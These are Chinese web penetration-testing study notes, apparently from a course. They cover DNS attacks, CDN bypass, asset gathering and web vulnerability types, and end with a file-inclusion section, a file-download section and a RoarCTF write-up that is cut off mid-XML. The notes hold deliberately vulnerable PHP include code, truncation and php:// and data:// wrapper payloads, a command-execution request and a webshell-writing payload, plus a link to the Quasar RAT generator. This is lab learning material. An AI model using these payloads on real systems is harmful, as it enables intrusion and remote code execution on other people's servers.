不错的笔记:

https://websec.readthedocs.io/zh/latest/info/domain.html

https://www.yuque.com/glan/xiaodisec/lrg9ls

https://www.yuque.com/weiker/xiaodi/xydntt

https://www.yuque.com/samxara/swro13/oww4rk

1、基础入门

第一天:概念名词

通过超级ping的网站可以看到CDN的解析情况https://www.ping.cn/ping/cdivtc.com

本地Hosts与DNS的关系

文件地址c:\windows\system32\drivers\etc\hosts

在文件里面更改了ip地址,然后就优先访问这个文件里面的再去访问dns服务器

Hosts文件主要作用是定义IP地址和主机名的映射关系,是一个映射IP地址和主机名的规定。

Hosts是一个没有扩展名的系统文件,可以用记事本等工具打开,其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。

浏览器访问网站,要首先通过DNS服务器把要访问的网站域名解析成一个唯一的IP地址,之后,浏览器才能对此网站进行定位并且访问其数据。

常见的DNs安全攻击有哪些?

  • DNS缓存中毒
    • DNS缓存中毒攻击者给DNS服务器注入非法网络域名地址,我们访问地址就可能指定到其他黑客的地址
  • 域名劫持(DNS重定向)
    • 通过攻击域名解析服务器(DNS)或伪造域名解析服务器(DNS)的方法,把目标网站域名解析到错误的地址从而实现用户无法访问目标网站的目的域名劫持一方面可能影响用户的上网体验,用户被引到假冒的网站进而无法正常浏览网页,而用户量较大的网站域名被劫持后恶劣影响会不断扩大;另一方面用户可能被诱骗到冒牌网站进行登录等操作导致泄露隐私数据
  • DNS查询嗅探
    • 攻击者主要利用对DNS的配置信息获取网络环境的信息,为之后的攻击做好的准备。
    • 针对这些情况,我们需要对DNS服务器需要采取特别的安全保护措施,在防火墙网络中,分开设置内部DNS服务器和外部DNS服务器,连接外部服务的外部DNS服务器上不留有对外禁止访问的内部网络系统的服务器,做到内外网络服务器分割。
  • ARP欺骗
    • ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。ARP攻击主要是存在于局域网网络中,局域网中若有一台计算机感染ARP病毒,则感染该ARP病毒的系统将会试图通过”ARP欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。
    • ARP欺骗通常是在用户局网中,造成用户访问域名的错误指向。如果IDC机房也被ARP病毒入侵后,则也可能出现攻击者采用ARP包压制正常主机、或者压制DNS服务器,以使访问导向错误指向的情况。
  • 本机劫持
    • 本机的计算机系统被木马或流氓软件感染后,也可能会出现部分域名的访问异常

常见的脚本语言

一种介乎于 HTML 和诸如 JAVA 、 Visual Basic 、 C++ 等编程语言之间的一种特殊的语言。
尽管它更接近后者,但它却不具有编程语言复杂、严谨的语法和规则。
常见的脚本语言有:Python、JavaScript、Asp (逐渐淘汰,基本都是小站点在使用)、Aspx、Php (目前比较流行)javaweb、 pl、cgi等

后门

方便下次控制

web

web的组成框架模型?

WEB的组成框架模型:

  • 网站原码
  • 操作系统
  • 中间件(搭建平台,提供服务的)
  • 数据库。

image.png

web相关漏洞

web漏洞.png

WEB相关安全漏洞

  1. web源码对应漏洞
    SQL注入
    文件上传
    XSS
    代码执行
    变量覆盖
    逻辑漏洞
    反序列化等等

  2. web中间件对应漏洞
    未授权访问

  3. web数据库对应漏洞
    内核漏洞

  4. web系统层对应漏洞
    提权漏洞,安全代码执行

  5. 其他第三方对应漏洞
    电脑第三方软件

  6. APP或PC应用结合类
    移动端,PC端,网页端

涉及资源

  1. 任意安卓模拟器

  2. wsexplorer网络抓包工具:http://www.downcc.com/soft/11196.html

  3. Quasar后门程序生成:项目地址https://github.com/quasar/Quasar

    下载地址[https://github.com/quasar/QuasarRAT/releases](

  4. ApkAnalyser工具地址提取:项目地址:https://github.com/TheKingOfDuck/ApkAnalyser

第二天:数据包拓展

http/https数据包

1
2
3
#Request 请求数据包
#Proxy 代理服务器
#Response 返回数据包

image.png

  • HTTP协议是什么?

    HTTP协议是超文本传输协议的缩写,英文是Hyper Text Transfer Protocol。它是从WEB服务器传输超文本标记语言(HTML)到本地浏览器的传送协议。
    设计HTTP最初的目的是为了提供一种发布和接收HTML页面的方法。
    HTPP有多个版本,目前广泛使用的是HTTP/1.1版本。

  • HTTP原理

    HTTP是一个基于TCP/IP通信协议来传递数据的协议,传输的数据类型为HTML 文件,、图片文件, 查询结果等。

    HTTP协议一般用于B/S架构()。浏览器作为HTTP客户端通过URL向HTTP服务端即WEB服务器发送所有请求。

  • HTTP特点

    http协议支持客户端/服务端模式,也是一种请求/响应模式的协议。

    简单快速:客户向服务器请求服务时,只需传送请求方法和路径。请求方法常用的有GET、HEAD、POST。

    灵活:HTTP允许传输任意类型的数据对象。传输的类型由Content-Type加以标记。

    无连接:限制每次连接只处理一个请求。服务器处理完请求,并收到客户的应答后,即断开连接,但是却不利于客户端与服务器保持会话连接,为了弥补这种不足,产生了两项记录http状态的技术,一个叫做Cookie,一个叫做Session。

    无状态:无状态是指协议对于事务处理没有记忆,后续处理需要前面的信息,则必须重传。

响应报文构成

状态行
响应头
响应正文

响应状态码

1
2
3
4
5
6
7
访问一个网页时,浏览器会向web服务器发出请求。此网页所在的服务器会返回一个包含HTTP状态码的信息头用以响应浏览器的请求。
状态码分类:
1XX- 信息型,服务器收到请求,需要请求者继续操作。
2XX- 成功型,请求成功收到,理解并处理。
3XX - 重定向,需要进一步的操作以完成请求。
4XX - 客户端错误,请求包含语法错误或无法完成请求。
5XX - 服务器错误,服务器在处理请求的过程中发生了错误。

常见状态码

1
2
3
4
5
6
7
8
200 OK - 客户端请求成功
301 - 资源(网页等)被永久转移到其它URL
302 - 临时跳转
400 Bad Request - 客户端请求有语法错误,不能被服务器所理解
401 Unauthorized - 请求未经授权,这个状态代码必须和WWW-Authenticate报头域一起使用
404 - 请求资源不存在,可能是输入了错误的URL
500 - 服务器内部发生了不可预期的错误
503 Server Unavailable - 服务器当前不能处理客户端的请求,一段时间后可能恢复正常。

第三天:搭建安全拓展

涉及的知识点

  • 常见搭建平台脚本启用

  • 域名旧目录解析安全问题

  • 常见文件后缀解析对应安全

  • 常见安全测试中的安全防护

  • WEB后门与用户及文件权限

常见的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#ASP,PHP,ASPx,JSP,PY,JAVAWEB等环境

#WEB源码中敏感文件
后台路径,数据库配置文件,备份文件等

#ip或域名解析wEB源码目录对应下的存在的安全问题
域名访问,IP访问(结合类似备份文件目录)

#脚本后缀对应解析(其他格式可相同-上传安全)
#存在下载或为解析问题

#常见防护中的IP验证,域名验证等

#后门是否给予执行权限

#后门是否给予操作目录或文件权限#后门是否给予其他用户权限

#总结下关于可能会存在的安全或防护问题?

常见防护中的IP验证,域名验证等

用ip访问的权限比域名要高(比如有些目录只有ip才能访问出来:有些网站建设人员会疏忽,可以用ip去访问,有时会发现一些备份文件源码等),使用御剑或者手动访问的时候就最好用ip,别用域名.

后门是否给予执行权限

后门是否给予操作目录或文件权限

后门是否给予其他用户权限

总结下关于可能会存在的安全或防护问题?

中间件安全(搭建平台)

搭建平台比如phpstudy,宝塔等都是中件

Web中间件常见漏洞总结

漏洞CVE-2017-15715复现演示

环境用的Vulhub下载:git clone https://github.com/vulhub/vulhub.git

进入cd /vulhub/httpd/CVE-2017-15715

安装sudo docker-compose build

基于中间件的靶场使用https://vulhub.org/#/environments/

第四天:基础入门-WEB源码拓展

前言:

WEB源码在安全测试中是非常重要的信息来源,可以用来代码审计漏洞也可以用来做信息突破口,其中WEB源码有很多技术需要简明分析。比如:获取某ASP源码后可以采用默认数据库下载为突破,获取某其他脚本源码漏洞可以进行代码审计挖掘或分析其业务逻辑等,总之源码的获取将为后期的安全测试提供了更多的思路

  1. 关于WEB源码其他说明
    1. 开源,未开源问题,框架非框架问题,关于CMS识别问题及后续等
    2. 关于源码获取的相关途径:搜索,咸鱼淘宝,第三方源码站,各种行业对应

关于Web源码目录结构

  1. 据库配置文件,后台目录,模板目录,数据库目录等
  2. index.php 根据文件后缀判定
  3. admin 网站后台路径data 数据相关目录
  4. install 安装目录
  5. member 会员目录
  6. template 模板目录(和网站相关的整体架构)
  7. data => confing.php 数据库配置文件,网站和数据库的通讯信息,连接账号密码,可以去连接对方数据库,从数据库去得到这个网站的源码里面涉及到的管理员的账号密码

关于WEB源码脚本类型

ASP,PHP,ASPX,JSP,JAVAWEB等脚本类型源码安全问题、

关于Web源码应用分类

社交,论坛,门户,第三方,博客等不同的代码机制对应漏洞

开源,未开源问题, 框架非框架问题,关于CMS识别问题及后续等

拿到对方的源码或者判断这个网站的应用类型之后应该侧重在哪些漏洞上做文章

• 门户网站=======综合类漏洞

• 电商=======业务逻辑漏洞

• 论坛=======XSS漏洞

• 博客=======漏洞较少

• 第三方=======根据功能决定

关于Web源码其他说明

找网站的cms

如果对方网站采用的是框架开发的话那么你面对的就是寻找框架的漏洞

例如

image-20220102211931463

CMS识别

什么是cms:CMS是Content Management System的缩写,意为”内容管理系统”

CMS识别

在线工具
http://whatweb.bugscaner.com/look/
https://www.yunsee.cn/

源码的获取途径

• 百度直接搜索:源码

• 扫描工具探测备份文件

• CMS识别技术获取CMS名称然后从网上下载

• 咸鱼上会有卖

• 第三方源码站:比如菜鸟源码

第五天:系统及数据库

### 识别操作系统常见方法

网站识别识别操作系统

linux的网站是对大小写敏感的

windows对大小写不敏感也就是说你在网页中可以替换网站路径的大小写进行测试

  • win系统的网站

image-20211222163611352

  • linux网站

image-20211222163706592

ttl值判断

1、WINDOWS NT/2000 TTL:128
2、WINDOWS 95/98 TTL:32
3、UNIX TTL:255
4、LINUX TTL:64
5、WIN7 TTL:64

比如说我们ping一下

image-20211222164710900

nmap判断

nmap -O 目标

数据库层面

数据网站的搭建组合

asp + access/mssql
php + mysql
aspx+mssql
jsp +mysql/oracle
Python + MongoD

常见的数据库默认端口号

关系型数据库
mysql 3306
sqlserver 1433
oracle 1521
psotgresql 5432

非关系型数据库
MongoDB 27017
Redis 6379
memcached 11211

某数据库弱口令及漏洞演示

文档https://vulhub.org/#/environments/mysql/CVE-2012-2122/

我的视频 CVE-2012-2122Mysql身份认证漏洞及利用复现

某第三方应用安全漏洞演示

文档https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md

我的视频https://www.bilibili.com/video/BV1vY411p7Wa

第六天:加密编码算法

超级加解密转换工具

下载地址https://wwi.lanzouy.com/i7nd9y5h7mf

image-20211230204926950

https://www.cmd5.com/

image-20211230110730285

前言知识

​ 前言:在渗透测试中,常见的密码等敏感信息会采用加密处理,其中作为安全测试人员必须要了解常见的加密方式,才能为后续的安全测试做好准备,本次课程将讲解各种加密编码等知识,便于后期的学习和发展。

常见加密编码等算法解析

MD5,SHA,ASC,进制,时间戳,URL,BASE64,Unescape,AES,DES等

MD5

他的是0到9,a到z固定长度加密的

他有两种

  1. 长度是32

    123456

    加密后的结果

    1
    e10adc3949ba59abbe56e057f20f883e
  2. 长度是16
    123456

    加密后的结果

    1
    49ba59abbe56e057

    SHA

他的是0到9,a到z固定长度加密的和md5差不多

  • SHA-1算法的哈希值大小为160位,其计算输出长度为40位。
  • SHA-224算法的哈希值大小为224位,其计算输出长度为56位。
  • SHA-256算法的哈希值大小为256位,其计算输出长度为64位。
  • SHA-384算法的哈希值大小为384位,其计算输出长度为96位。
  • SHA-512算法的哈希值大小为384位,其计算输出长度为128位。

时间戳

在线转换工具https://tool.lu/timestamp/

image-20211231141137652

url编码

https://www.cnblogs.com/cxygg/p/9278542.html

当url地址中包含&、+、%等特殊字符(主要是传递参数时,参数的内容中包含这些字符)时,地址无效。比如http://10.190.0.0:108/doc/test+desc2.bmp,若文件名中出现+/&等特殊字符,后台会报404的错误,即web服务器找不到页面或者资源

序号 特殊字符 含义 十六进制值
1. + URL 中+号表示空格 %2B
2. 空格 URL中的空格可以用+号或者编码 %20
3. / 分隔目录和子目录 %2F
4. ? 分隔实际的 URL 和参数 %3F
5. % 指定特殊字符 %25
6. # 表示书签 %23
7. & URL 中指定的参数间的分隔符 %26
8. = URL 中指定参数的值 %3D

base64编码

base64他的特点就是我们的字符串越长编码后的结果就越长,

由大小写和数字组成且字符结尾一般有一个两个等号,一般在代码中为了安全会使用base64进行编码

image-20211231141925252

unescape编码

他和URL编码差不多

大部分是%U和四个数字对应着两个字符,主要运用于网站web应用

image-20211231142258511

AES加密

aes在逐渐取代md5值、在解密的过程中一定要知道密码和偏移量不然是借不出来的

在线工具:http://tool.chacuo.net/cryptaes

image-20211231142452729

我们base64解码可以看见是个乱码

image-20211231142608908

DES加密

他和AES差不多

地址:https://www.sojson.com/encrypt_des.html

2、信息收集

第7天:CDN绕过方法

cdn检查

超级ping

http://ping.chinaz.com/

常见的CDN绕过技术

子域名查询:

  • 因为有些主站是做了CDN服务而子站是没有做CDN服务

邮件服务查询

  • 因为邮箱大部分都是内部人在访问、而且访问的量也不是很大,一般是没有做CDN。

国外地址请求

  • 因为很多的企业没有在国外部署CDN,要是用国外的地址请求、就容易找到他的真实地址。

遗留文件、扫描全网

  • 如PHPinfo信息当中会遗留出ip地址

黑暗引擎搜索

  • fofa、傻蛋、谛听、zoomeye、censys

特定文件dns历史记录,以量打量

CDN真实IP地址获取后绑定指向地址
更改本地HOSTS解析指向文件

奇淫技巧
fackcdn w8fuckcdn zmap

邮件服务查询源IP

很多公司里面会有邮件服务,他们可能是没有CDN的我们在接受邮箱的时候就可以知道他的源IP了

shodan的hash搜索源IP

由于hash为一个未知的随机数,所以是无法通过输入一个确定的hash值来搜索带有指定图标的网站的,只能够通过查看一个已经被Shodan收录的网站的hash值,来进一步获取到所有带有某icon的网站。那么这里的用法就非常的有局限性,你只能是碰运气的来找到你所需要查找的网站,因为Shodan不一定收录了你想要搜索的网站。接着上一篇讲,那么如果Shodan收录了某个ip,这个服务器带有某个icon图标,我能不能搜索所有带有此icon的服务器ip?答案是可以的

我自己写了个python3的脚本

1
2
3
4
5
6
7
8
import mmh3
import codecs
import requests

url = str(input("请输入目标的favicon.ico:"))
favicon_ico = requests.get(url).content
favicon_ico = mmh3.hash(codecs.lookup('base64').encode(favicon_ico)[0])
print('http.favicon.hash:'+str(favicon_ico))

CDN安全测试的影响

cdn会隐藏服务器真实的ip地址,无法对目标网站的操作系统进行渗透,但cdn站点又可以理解为是目标站点的镜像站点(大多数都是静态cdn加速),拥有相同的网站架构,且cdn服务器可与站点服务器进行交互,因此sql注入,xss等漏洞的挖掘并不受太大影响

第十天:资产收集

常见的子域名收集方法

GitHub的项目监控

我们可以利用这个找最新的最新exp或poc和测试目标相关的资产

server酱:http://sc.ftqq.com/3.version

GitHub项目监控地址:https://github.com/weixiao9188/wechat_push

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# Title: wechat push CVE-2020
# Date: 2020-5-9
# Exploit Author: weixiao9188
# Version: 4.0
# Tested on: Linux,windows
# coding:UTF-8
import requests
import json
import time
import os
import pandas as pd
time_sleep = 20 #每隔20秒爬取一次
while(True):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400"}
#判断文件是否存在
datas = []
response1=None
response2=None
if os.path.exists("olddata.csv"):
#如果文件存在则每次爬取10个
df = pd.read_csv("olddata.csv", header=None)
datas = df.where(df.notnull(),None).values.tolist()#将提取出来的数据中的nan转化为None
response1 = requests.get(url="https://api.github.com/search/repositories?q=CVE-2020&sort=updated&per_page=10",
headers=headers)
response2 = requests.get(url="https://api.github.com/search/repositories?q=RCE&ssort=updated&per_page=10",
headers=headers)

else:
#不存在爬取全部
datas = []
response1 = requests.get(url="https://api.github.com/search/repositories?q=CVE-2020&sort=updated&order=desc",headers=headers)
response2 = requests.get(url="https://api.github.com/search/repositories?q=RCE&ssort=updated&order=desc",headers=headers)

data1 = json.loads(response1.text)
data2 = json.loads(response2.text)
for j in [data1["items"],data2["items"]]:
for i in j:
s = {"name":i['name'],"html":i['html_url'],"description":i['description']}
s1 =[i['name'],i['html_url'],i['description']]
if s1 not in datas:
#print(s1)
#print(datas)
params = {
"text":s["name"],
"desp":" 链接:"+str(s["html"])+"\n简介"+str(s["description"])
}
print("当前推送为"+str(s)+"\n")
print(params)
requests.get("https://sc.ftqq.com/XXXX.send",params=params,timeout=10)
#time.sleep(1)#以防推送太猛
print("推送完成!")
datas.append(s1)
else:
pass
#print("数据已处在!")
pd.DataFrame(datas).to_csv("olddata.csv",header=None,index=None)
time.sleep(time_sleep)

3、web漏洞

第11天:必懂知识点详解

简要知识点

CTF:SQL注入、文件上传、反序列化、代码执行

SRC:图片上漏洞都能出现,逻辑安全出现比较多

红蓝对抗:涉及的高危漏洞,文件上传、文件包含、代码执行、命令执行

漏洞危害决定漏洞等级

高危漏洞:SQL注入、文件上传、文件包含、代码执行、未授权访问、命令执行

影响:直接影响到网站权限和数据库权限,能够获取数据或者网站的敏感文件。涉及到数据安全和权限的丢失都为高危漏洞

中危漏洞:反序列化、逻辑安全

低危漏洞:XSS跨站、目录遍历、文件读取

影响:网站的源码,网站部分账号密码

漏洞的危害

sql注入

  1. 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。

  2. 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。

    1. 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
  3. 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统

XSS漏洞

  1. 窃取管理员帐号或Cookie,入侵者可以冒充管理员的身份登录后台。使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。

    1. 窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作
  2. 网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马

    1. 发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用

XXE漏洞

  1. 读取任意文件

    1. 执行系统命令
  2. 探测内网端口

    1. 攻击内网网站

文件上传漏洞

如果 Web应用程序存在上传漏洞 , 攻击者甚至可以将一个webshell直接上传到服务器上

文件包含(可能含有文件包含的漏洞:inurl:php?file=)

    1. web服务器的文件被外界浏览导致信息泄露
    2. 脚本被任意执行,可能会篡改网站、执行非法操作、攻击其他网站

文件读取

通过任意文件下载,可以下载服务器的任意文件,web业务的代码,服务器和系统的具体配置信息,也可以下载数据库的配置信息,以及对内网的信息探测等等

CSRF(**用户请求伪造)**

    1. 以受害者名义发送邮件,发消息,盗取受害者的账号,甚至购买商品,虚拟货币转账,修改受害者的网络配置(比如修改路由器DNS、重置路由器密码)等等

    2. 个人隐私泄露、机密资料泄露、用户甚至企业的财产安全

SSRF (服务器端请求伪造

    1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
    2. 攻击运行在内网或本地的应用程序
    1. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
    2. 下载内网资源(如:利用file协议读取本地文件等)
    1. 进行跳板
    2. 无视cdn
    1. 利用Redis未授权访问,HTTP CRLF注入实现getshell

反序列化

远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码,被攻击者间接控制服务器

代码执行

    1. 代码执行漏洞造成的原理是由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。造成代码执行相关的函数分别是:eval、assert函数
    2. 暴露服务器信息
    1. 木马植入
    2. 敏感文件暴露
    1. 可能升级为命令执行

逻辑漏洞

    1. 在提交订单的时候抓取数据包或者直接修改前端代码,然后对订单的金额任意修改。
    2. 黑客只需要抓取Response数据包便知道验证码是多少或直接绕过
    1. 有些业务的接口,因为缺少了对用户的登陆凭证的较验或者是验证存在缺陷,导致黑客可以未经授权访问这些敏感信息甚至是越权操作
    2. 有些关键性的接口因为没有做验证或者其它预防机制,容易遭到枚举攻击
    1. Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单,导致黑客可以对cookie的效验值进行一个枚举
    2. 单纯读取内存值数据来当作用户凭证
    1. 用户修改密码时,邮箱中会收到一个含有auth的链接,在有效期内用户点击链接,即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数,那么这里就存在一个问题了,Windows环境下rand()最大值为32768,所以这个auth的值是可以被枚举的
  1. 未授权访问

敏感信息泄露

  1. 命令执行

    1. 继承Web服务程序的权限去执行系统命令或读写文件
    2. 反弹shell
    1. 控制整个网站甚至控制服务器
    2. 进一步内网渗透

目录遍历

攻击者通过访问网站某一目录时,该目录没有默认首页文件或没有正确设置默认首页文件,将会把整个目录结构列出来,将网站结构完全暴露给攻击者; 攻击者可能通过浏览目录结构,访问到某些隐秘文件(如PHPINFO文件、服务器探针文件、网站管理员后台访问地址、数据库连接文件等)

演示

漏洞环境**pikachu**

搭建环境

1
2
docker pull area39/pikachu
docker run -d -p8080:80

第十二天:SQL注入之简要SQL注入****

版本探测的意义

在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库
相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。

第十三天:MYSQL注入

第十五天:oracle、MongoDB等注入

文件包含漏洞

原理

读取文件内容

代码

a.php内容

1
2
3
<?php
include($_GET['file']);
?>

image-20220322144954056

php代码执行

php代码里面包含了其他的文件执行里面的代码

a.php内容

1
2
3
<?php
include('./a.txt');
?>

a.txt内容

1
2
3
<?php
phpinfo()
?>

我访问a.php,可以看见a.txt被执行力

image-20220322143831563

常用的文件包含函数

  • require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
  • include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
  • include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
  • require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

本地文件包含

没有限制的文件包含

服务器端没有任何限制

a.php内容

1
2
3
<?php
include('./a.txt');
?>

a.txt内容

1
2
3
<?php
phpinfo()
?>

我访问a.php,可以看见a.txt被执行力

image-20220322143831563

有限制的文件包含漏洞

比如后面强制在后面添加文件类型比如

1
2
3
<?php
include($_GET['file'].'.html');
?>

a.txt内容

1
2
3
<?php
phpinfo()
?>

可以看见没有这个a.txt.html,有的搞版本不会直接报下面的错误,可能就很难猜出来给我们强制加了后缀

image-20220323095710916

00截断绕过
  • php版本要小于5.3.4,5.3.4及以上已经修复该问题
  • magic_quotes_gpc需要为OFF状态

服务器代码

1
2
3
<?php
include($_GET['file'].'.html');
?>

a.txt内容

1
2
3
<?php
phpinfo()
?>

这样就可以绕过了

image-20220323100302649

长度截断
  • 条件:windows OS,点号需要长于256;linux OS 长于4096

a.txt内容

1
2
3
<?php
phpinfo()
?>

url这个是linux的win系统好像也可以

1
http://192.168.0.107/a.php?file=a.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

image-20220323101010749

1
http://192.168.0.107/a.php?file=a.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

image-20220323101217472

远程文件包含

远程文件包含要开启allow_url_include

image-20220323102622650

有限制

比如后面强制在后面添加文件类型比如

1
2
3
<?php
include($_GET['file'].'.html');
?>

a.txt内容

1
2
3
<?php
phpinfo()
?>

image-20220323102957800

我们就可以用下面的其中一个就可以绕过

1
2
3
http://192.168.0.107/a.php?file=http://192.168.0.110/a.txt?
http://192.168.0.107/a.php?file=http://192.168.0.110/a.txt%23
http://192.168.0.107/a.php?file=http://192.168.0.110/a.txt%20

image-20220323103222127

伪协议

不错的文章https://www.cnblogs.com/endust/p/11804767.html

各协议的利用条件和方法

文件读取

php协议

格式php://filter/read=convert.base64-encode/resource=[文件名]

演示:读取a.txt的文件内容

1
http://192.168.0.107/a.php?file=php://filter/read=convert.base64-encode/resource=a.txt

他这个添加了base64编码,应为读取可能会出现乱码的情况

image-20220323104344961

file协议

file://

用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。

用法:file://文件名

我这个测试好像只能用绝对路径

image-20220323111906130

执行php代码

php协议

要开启allow_url_include

语法php://input + post的请求

演示

1
2
3
4
POST /a.php?file=php://input HTTP/1.1
.........

<?php system('ipconfig')?>

image-20220323111112278

写入一句话木马用法

1
2
3
http://127.0.0.1/include.php?file=php://input
POST 部分
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
data协议

要开启allow_url_include

数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码

语法data://text/plain,

1
http://192.168.0.107/a.php?file=data://text/plain,<?php system('ipconfig')?>

image-20220323112535559

使用base64

data://text/plain;base64,

1
http://192.168.0.107/a.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

文件读取下载漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
文件下载,读取 原理,检测,利用,修复等  

#利用
数据库配置文件下载或读取后续
接口密匙信息文件下载或读取后续
#文件名,参数值,目录符号
read.xxx?filename=
down.xxx?filename=
readfile.xxx?file=
downfile.xxx?file=
../ ..\ .\ ./等
%00 ? %23 %20 .等
&readpath=、&filepath=、&path=、&inputfile=、&url=、&data=、&readfile=、&menu=、META-INF= 、
WEB-INF

1.文件被解析,则是文件包含漏洞
2.显示源代码,则是文件读取漏洞
3.提示文件下载,则是文件下载漏洞


下载或文件读取漏洞:
对应文件:配置文件(数据库,平台,各种等)

#各种协议调用配合

ctf文件下载复现

[RoarCTF 2019]Easy Java

地址[https://buuoj.cn/challenges#%5BRoarCTF%202019%5DEasy%20Java](https://buuoj.cn/challenges#[RoarCTF 2019]Easy Java)

点击help跳转,url为

1
/Download?filename=help.docx

回显为

1
java.io.FileNotFoundException:{help.docx}

使用伪协议下载help.docx文件失败,尝试使用POST下载,下载成功后打开

1
Are you sure the flag is here? ? ?

查询资料发现:

WEB-INF/web.xml泄露
WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

/WEB-INF/database.properties:数据库配置文件

漏洞成因:
通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!

根据上文,我们先找一下WEB-INF/web.xml,POST传值

image-20220423104339853

得到WEB-INF/web.xml文件,打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>

<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
